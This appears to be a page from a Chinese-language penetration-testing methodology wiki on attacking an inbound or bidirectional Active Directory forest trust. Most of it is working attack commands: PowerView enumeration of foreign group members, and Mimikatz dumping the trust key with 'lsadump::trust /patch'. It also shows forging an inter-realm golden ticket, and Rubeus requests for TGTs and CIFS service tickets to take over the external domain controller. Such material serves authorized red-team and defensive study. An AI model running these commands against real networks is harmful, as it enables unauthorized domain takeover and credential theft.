# External Forest Domain - OneWay (Inbound) or bidirectional
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在这种情况下，外部域信任您（或彼此信任），因此您可以在其上获得某种访问权限。
## 枚举
首先，您需要**枚举**这种**信任**：
```powershell
Get-DomainTrust
SourceName : a.domain.local --> Current domain
TargetName : domain.external --> Destination domain
TrustType : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
# Get name of DC of the other domain
Get-DomainComputer -Domain domain.external -Properties DNSHostName
dnshostname
-----------
dc.domain.external
# Groups that contain users outside of its domain and return its members
Get-DomainForeignGroupMember -Domain domain.external
GroupDomain : domain.external
GroupName : Administrators
GroupDistinguishedName : CN=Administrators,CN=Builtin,DC=domain,DC=external
MemberDomain : domain.external
MemberName : S-1-5-21-3263068140-2042698922-2891547269-1133
MemberDistinguishedName : CN=S-1-5-21-3263068140-2042698922-2891547269-1133,CN=ForeignSecurityPrincipals,DC=domain,
DC=external
# Get name of the principal in the current domain member of the cross-domain group
ConvertFrom-SID S-1-5-21-3263068140-2042698922-2891547269-1133
DEV\External Admins
# Get members of the cros-domain group
Get-DomainGroupMember -Identity "External Admins" | select MemberName
MemberName
----------
crossuser
# Lets list groups members
## Check how the "External Admins" is part of the Administrators group in that DC
Get-NetLocalGroupMember -ComputerName dc.domain.external
ComputerName : dc.domain.external
GroupName : Administrators
MemberName : SUB\External Admins
SID : S-1-5-21-3263068140-2042698922-2891547269-1133
IsGroup : True
IsDomain : True
# You may also enumerate where foreign groups and/or users have been assigned
# local admin access via Restricted Group by enumerating the GPOs in the foreign domain.
```
在先前的枚举中发现用户\*\*`crossuser`**位于**`External Admins`**组内，该组在**外部域的DC**内具有**管理员访问权限\*\*。
## 初始访问
如果您在另一个域中找不到用户的**特殊**访问权限，您仍然可以返回AD方法论并尝试从未经特权处理的用户进行**权限提升**（例如，像kerberoasting这样的操作）：
您可以使用**Powerview函数**来使用`-Domain`参数枚举**其他域**，如下所示：
```powershell
Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName
```
## 冒充
### 登录
使用具有访问外部域权限的用户的凭据进行常规方法，您应该能够访问：
```powershell
Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator
```
### SID History Abuse
您还可以在跨森林信任中滥用[**SID History**](/windows-hardening/active-directory-methodology/sid-history-injection.md)。
如果用户从一个森林迁移到另一个森林，并且未启用**SID过滤**，则可以**添加来自另一个森林的SID**，并且在通过信任进行身份验证时，此**SID**将被**添加**到**用户的令牌**中。
{% hint style="warning" %}
作为提醒，您可以使用以下方式获取签名密钥
```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local
```
{% endhint %}
您可以使用**受信任**的密钥**签署**一个**冒充**当前域用户的TGT。
```bash
# Get a TGT for the cross-domain privileged user to the other domain
Invoke-Mimikatz -Command '"kerberos::golden /user: /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"'
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:C:\path\save\ticket.kirbi /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
```
### 完全模拟用户
```bash
# Get a TGT of the user with cross-domain permissions
Rubeus.exe asktgt /user:crossuser /domain:sub.domain.local /aes256:70a673fa756d60241bd74ca64498701dbb0ef9c5fa3a93fe4918910691647d80 /opsec /nowrap
# Get a TGT from the current domain for the target domain for the user
Rubeus.exe asktgs /service:krbtgt/domain.external /domain:sub.domain.local /dc:dc.sub.domain.local /ticket:doIFdD[...snip...]MuSU8= /nowrap
# Use this inter-realm TGT to request a TGS in the target domain to access the CIFS service of the DC
## We are asking to access CIFS of the external DC because in the enumeration we show the group was part of the local administrators group
Rubeus.exe asktgs /service:cifs/dc.doamin.external /domain:dc.domain.external /dc:dc.domain.external /ticket:doIFMT[...snip...]5BTA== /nowrap
# Now you have a TGS to access the CIFS service of the domain controller
```
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